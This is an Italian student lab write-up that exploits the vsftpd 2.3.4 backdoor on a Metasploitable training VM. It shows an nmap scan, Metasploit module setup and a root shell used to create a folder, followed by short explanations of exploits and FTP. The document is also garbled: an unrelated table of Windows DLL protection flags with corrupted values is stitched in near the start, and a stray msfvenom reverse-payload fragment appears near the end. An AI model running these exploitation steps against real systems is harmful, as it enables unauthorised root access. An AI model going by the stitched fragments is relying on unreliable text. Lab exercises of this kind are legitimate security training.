



Riccardo Agostino
Monti

S7 L1

LA FASE DI EXPLOIT: GLI ATTACCHI ALLE RETI

Scopo del test

Nell'esercizio di oggi ci viene chiesto di dire
andare a esplorare la macchina

Metasploitable sfruttando il servizio «vsftpd».

E, una volta creata la sessione, creare con il comando `mkdir` una cartella nella directory di root (`/`). Chiamando la cartella `test_metasploit`

afeSEH	ASLR	NXCompat	OS DLL	Version	Path
True	False	False	True	5.1.2600	[kernel32.dll] (C:\WINDOWS\Files\Kernel)
True	False	False	False	-1.0- [SDL.dll]	[SDL.dll] (C:\WINDOWS\Files\Audio)
True	False	False	True	6.00.2900.	[RPCRT4.dll] (C:\WINDOWS\Files\RPC)
True	False	False	True	5.1.2600.5512	[ole32.dll] (C:\WINDOWS\Files\OLE)
True	False	False	True	8.00.6001.18702	[kernel32.dll] (C:\WINDOWS\Files\Kernel)
False	False	False	False	1.2.12.0 [SDL.dll]	[SDL.dll] (C:\WINDOWS\Files\Audio)
True	False	False	True	5.1.2600.5512 [ole32.dll]	[ole32.dll] (C:\WINDOWS\Files\OLE)
True	False	False	True	5.1.2600.5512 [RPCRT4.dll] (C:\WINDOWS\Files\RPC)	[RPCRT4.dll] (C:\WINDOWS\Files\RPC)
True	False	False	True	5.1.2600.5512 [ntdll.dll] (C:\WINDOWS\Files\Kernel)	[ntdll.dll] (C:\WINDOWS\Files\Kernel)
True	False	False	True	5.1.2600.5512 [xpsp2.dll]	[xpsp2.dll] (C:\WINDOWS\Files\Updates)
True	False	False	False	1.0.0.402 [SysInfo.dll]	[SysInfo.dll] (C:\WINDOWS\Files\System)
True	False	False	True	7.0.2600.5512 [msvrt.dll]	[msvrt.dll] (C:\WINDOWS\Files\Network)
True	False	False	False	0.0.22.5506 [AudioCoder.exe]	[AudioCoder.exe] (C:\WINDOWS\Files\Audio)
True	False	False	True	5.1.2600.5512 [RPCRT4.dll] (C:\WINDOWS\Files\RPC)	[RPCRT4.dll] (C:\WINDOWS\Files\RPC)
True	False	False	True	5.1.2600.5512 [wshtopip.dll] (C:\WINDOWS\Files\Network)	[wshtopip.dll] (C:\WINDOWS\Files\Network)
True	False	False	True	8.00.6001.18702 [ieframe.dll]	[ieframe.dll] (C:\WINDOWS\Files\Internet)
True	False	False	True	5.1.2600.5512 [sensapi.dll]	[sensapi.dll] (C:\WINDOWS\Files\System)
True	False	False	True	5.1.2600.5512 [RASAPI32.dll]	[RASAPI32.dll] (C:\WINDOWS\Files\System)
True	False	False	True	8.00.6001.18702 [iertutil.dll]	[iertutil.dll] (C:\WINDOWS\Files\System)
True	False	False	True	5.1.2600.5512 [IMAGEHELP.dll]	[IMAGEHELP.dll] (C:\WINDOWS\Files\System)
True	False	False	True	5.1.2600.5512 [rasadhlp.dll]	[rasadhlp.dll] (C:\WINDOWS\Files\System)
True	False	False	True	5.1.2600.5512 [Secur32.dll]	[Secur32.dll] (C:\WINDOWS\Files\System)
True	False	False	True	5.1.2600.5512 [WSOCK32.dll]	[WSOCK32.dll] (C:\WINDOWS\Files\System)
True	False	False	True	6.00.2900.5512 [shdocvw.dll]	[shdocvw.dll] (C:\WINDOWS\Files\Internet)
True	False	False	True	5.1.2600.5512 [WS2HELP.dll]	[WS2HELP.dll] (C:\WINDOWS\Files\Network)
True	False	False	True	5.1.2600.5512 [ole32.dll]	[ole32.dll] (C:\WINDOWS\Files\OLE)
True	False	False	True	5.1.2600.5512 [IMM32.DLL]	[IMM32.DLL] (C:\WINDOWS\Files\Text)
True	False	False	True	5.1.2600.5512 [hnetcfg.dll]	[hnetcfg.dll] (C:\WINDOWS\Files\Network)
True	False	False	True	5.1.2600.5512 [USER32.dll]	[USER32.dll] (C:\WINDOWS\Files\System)
True	False	False	False	1.18 [libiconv-2.dll]	[libiconv-2.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [CRYPTUI.dll]	[CRYPTUI.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [cryptui.dll]	[cryptui.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [IPHLPAPI.DLL]	[IPHLPAPI.DLL] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [WINTRUST.dll]	[WINTRUST.dll] (C:\WINDOWS\Files\System)
False	True	False	True	2001.12.4414.700 [COMRes.dll]	[COMRes.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [OLEAUT32.dll]	[OLEAUT32.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [rasman.dll]	[rasman.dll] (C:\WINDOWS\Files\System)
False	True	False	True	6.00.2900.5512 [SHELL32.dll]	[SHELL32.dll] (C:\WINDOWS\Files\System)
True	True	False	False	-1.0- [incores.dll]	[incores.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [DNSAPI.dll]	[DNSAPI.dll] (C:\WINDOWS\Files\System)
False	True	False	True	2001.12.4414.700 [CLBCATQ.DLL]	[CLBCATQ.DLL] (C:\WINDOWS\Files\System)
False	True	False	True	6.0 [comctrl32.dll]	[comctrl32.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [MSACM32.dll]	[MSACM32.dll] (C:\WINDOWS\Files\System)
True	False	False	False	1.1.0.0 [dsp_chmx.dll]	[dsp_chmx.dll] (C:\WINDOWS\Files\System)
False	True	False	True	8.00.6001.18702 [WININET.dll]	[WININET.dll] (C:\WINDOWS\Files\Network)
False	True	False	True	6.00.2900.5512 [SHLWAPI.dll]	[SHLWAPI.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [AVIFIL32.dll]	[AVIFIL32.dll] (C:\WINDOWS\Files\Video)
False	True	False	True	5.1.2600.5512 [Msctfimeime]	[Msctfimeime] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [MSCTF.dll]	[MSCTF.dll] (C:\WINDOWS\Files\System)
False	True	False	False	-1.0- [dsp_zsc.dll]	[dsp_zsc.dll] (C:\WINDOWS\Files\System)
200	False	True	False	5.82 [COMCTL32.dll]	[COMCTL32.dll] (C:\WINDOWS\Files\System)
000	False	True	False	5.1.2600.5512 [USERENU.dll]	[USERENU.dll] (C:\WINDOWS\Files\System)
1000	False	True	False	5.1.2600.5512 [WINMM.dll]	[WINMM.dll] (C:\WINDOWS\Files\System)
5000	False	True	False	5.1.2600.5512 [kernel32.dll]	[kernel32.dll] (C:\WINDOWS\Files\System)
9000	False	True	False	5.1.2600.5512 [GDI32.dll]	[GDI32.dll] (C:\WINDOWS\Files\System)
.9000	False	True	False	-1.0- [mccommon.dll]	[mccommon.dll] (C:\WINDOWS\Files\System)
38000	False	True	False	6.00.2900.5512 [uxtheme.dll]	[uxtheme.dll] (C:\WINDOWS\Files\System)
20000	True	True	False	-1.0- [jpeg.dll]	[jpeg.dll] (C:\WINDOWS\Files\System)
False	True	False	False	5.1.2600.5512 [WLDAP32.dll]	[WLDAP32.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [msv1_0.dll]	[msv1_0.dll] (C:\WINDOWS\Files\System)
False	True	False	True	5.1.2600.5512 [VERSION.dll]	[VERSION.dll] (C:\WINDOWS\Files\System)
True	False	False	True	5.1.2600.5512 [ADVAPI32.dll]	[ADVAPI32.dll] (C:\WINDOWS\Files\System)
True	False	False	True	5.1.2600.5512 [PSAPI.DLL]	[PSAPI.DLL] (C:\WINDOWS\Files\System)
True	False	False	True	5.1.2600.5512 [WS2_32.dll]	[WS2_32.dll] (C:\WINDOWS\Files\System)
True	False	False	True	5.1.2600.5512 [mswsock.dll]	[mswsock.dll] (C:\WINDOWS\Files\System)
0009000	True	False	False	6.0.5441.0 [Normaliz.dll]	[Normaliz.dll] (C:\WINDOWS\Files\System)
3002F000	False	True	False	5.1.2600.5512 [TAPI32.dll]	[TAPI32.dll] (C:\WINDOWS\Files\System)

Passo 1

Per iniziare lanciamo dalla macchina di kali un nmap verso la macchina metasploitable e verifichiamo le porte aperte.

Notiamo che la porta 21 (porta solitamente usata dal servizio ftp) risulta essere aperta, possiamo quindi sfruttarla per effettuare il nostro attacco.

```
(kali㉿kali) - [~]
$ nmap -sV 192.168.50.101
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 10:18 CET
Stats: 0:00:14 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Stats: 0:00:24 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 20.00% done; ETC: 10:18 (0:00:24 remaining)
Nmap scan report for 192.168.50.101
Host is up (0.010s latency).

Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE     SERVICE      VERSION
21/tcp    open      ftp          vsftpd 2.3.4
22/tcp    open      ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open      telnet?
25/tcp    open      smtp?
53/tcp    open      domain      ISC BIND 9.4.2
80/tcp    open      http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open      rpcbind    2 (RPC #100000)
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
512/tcp   open      exec?
513/tcp   open      login?
514/tcp   open      shell?
1099/tcp  open      java-rmi   GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open      nfs         WARNING: 2-4 (RPC #100003)
2121/tcp  open      ccproxy-ftp?
3306/tcp  open      mysql?
5432/tcp  open      postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open      vnc         VNC (protocol 3.3)
6000/tcp  open      X11        (access denied)
6667/tcp  open      irc         UnrealIRCd
8009/tcp  open      ajp13      Apache Jserv (Protocol v1.3)
8180/tcp  open      unknown

Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 198.70 seconds
```

Passo 2

A questo punto lanciamo da console
comando msfconsole per entrare ne
console di metasploit.

```
[kali㉿kali] - [~]      dB+.BP dB#P      dB#P  
└ $ msfconsole      dB+.BP dB#P      dB#P  
  
o boldly g*:ok000kdc'          'cdk000ko:.  
shell has .xoooooooooooooooc      coooooooooooooox.  
:ooooooooooooooook, ,koooooooooooooo:.  
'ooooooooooookkkkoooooooo: :oooooooooooooooooooooo'  
oooooooooooo.MMMM.oooooooo1.MMM,ooooooooo  
doooooooooooo.MMMMMM.coooooooo.MMMMMM,oooooooox  
1oooooooooooo.MMMMMMMMM;d;MMMMMMMM,oooooooo1  
.oooooooooooo.MMM.;MMMMMMMMMM;MMMM,oooooooo.  
coooooooooooo.MMM.ooo. MMMMM'ooo.MMM,ooooooooo  
oooooooooooo.MMM.oooo.MMM:oooo.MMM,oooooooo  
1000000.MMM.oooo.MMM:oooo.MMM,oooo1  
;oooo'MMM.oooo.MMM:oooo.MMM;oooo;  
.dooo'WM.ooooocccxoooo.MX'x00d.  
 ,k01'M.ooooooooooooooo.M'dok,  
 :kk;.oooooooooooooo.;Ok:  
 ;ooooooooooooooook:  
 ,xooooooooooooox,  
 .10000001.  
 ,dod,  
 .  
  
 =[ metasploit v6.3.27-dev ]  
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]  
+ -- --=[ 1385 payloads - 46 encoders - 11 nops ]  
+ -- --=[ 9 evasion ]
```

Passo 3

Una volta entrati nel terminale di metasploit possiamo lanciare il comando “search vsftpd” per cercare possibili exploit che sfruttano il servizio. In questo modo scaviamo l’exploit vsftpd_234_backdoor che come suggerisce il nome ci permette di collegarci tramite backdoor alla macchina attaccata.

```
msf6 > search vsftpd
Matching Modules
=====
#  Name
0  auxiliary/dos/ftp/vsftpd_232
1  exploit/unix/ftp/vsftpd_234_backdoor
                                         Disclosure Date  Rank   Check  Description
Service                                     2011-02-03  normal  Yes    VSFTPD 2.3.2 Denial of
                                         2011-07-03  excellent  No    VSFTPD v2.3.4 Backdoor
Command Execution
To Be Used
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_
backdoor
```

Passo 4

Possiamo finalmente fare il setup dell'exploit come in figura:

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
----      -----          -----    -----
CHOST                no        The local client address
CPORT                no        The local client port
Proxies              no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS               yes       The target host(s), see https://docs.metasploit.com/docs/usin
g-metasploit/basics/using-metasploit.html
RPORT                21        yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
----      -----          -----    -----
Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.50.101
RHOST => 192.168.50.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
----      -----          -----    -----
CHOST                no        The local client address
CPORT                no        The local client port
Proxies              no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS               192.168.50.101  yes       The target host(s), see https://docs.metasploit.com/docs/usin
g-metasploit/basics/using-metasploit.html
RPORT                21        yes       The target port (TCP)
```

Passo 5

Una volta setuppato l'exploit possiamo lanciarlo e finalmente ci ritroviamo all'interno della macchina metasploitable, da qui è possibile fare tutto ciò che ci pare, come ad esempio usare il comando mkdir per creare la cartella come mostrato in figura.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:44115 -> 192.168.50.101:6200) at 2024-01-15 10:33:21 +0100 gone before

ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:a1:78:41
          inet addr:192.168.50.101 Bcast:192.168.50.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea1:7841/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
            RX packets:2582 errors:0 dropped:0 overruns:0 frame:0
            TX packets:2789 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:206599 (201.7 KB) TX bytes:230670 (225.2 KB)
            Base address:0xd020 Memory:f0200000-f0220000

lo       Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING MTU:16436 Metric:1
            RX packets:127 errors:0 dropped:0 overruns:0 frame:0
            TX packets:127 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0
            RX bytes:36021 (35.1 KB) TX bytes:36021 (35.1 KB)

sudo su
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
ymlinux

Your Input
192.168.50.101
8080
msfvenom -p windows/meterpreter/reverse
payload To Be Used
```

Exploit

Un exploit informatico è un programma, un software o una sequenza di comandi che sfrutta un errore o una vulnerabilità in un software, hardware o qualsiasi dispositivo elettronico. Questo può provocare un comportamento non previsto o imprevisto.

Gli exploit sono spesso utilizzati per scopi malevoli.

Gli exploit informatici funzionano identificando una vulnerabilità o un difetto nel software o nell'hardware. Una volta identificata questa vulnerabilità, un hacker può scrivere un exploit con il preciso scopo di sfruttarla. Molti hacker utilizzano gli exploit per diffondere malware.

Protocollo FTP

Il protocollo FTP (File Transfer Protocol) è un protocollo di rete che consente il trasferimento di file tra un client e un server su una rete. È uno dei protocolli più vecchi di Internet, con la sua tecnologia di trasmissione di file completa che risale al 1974.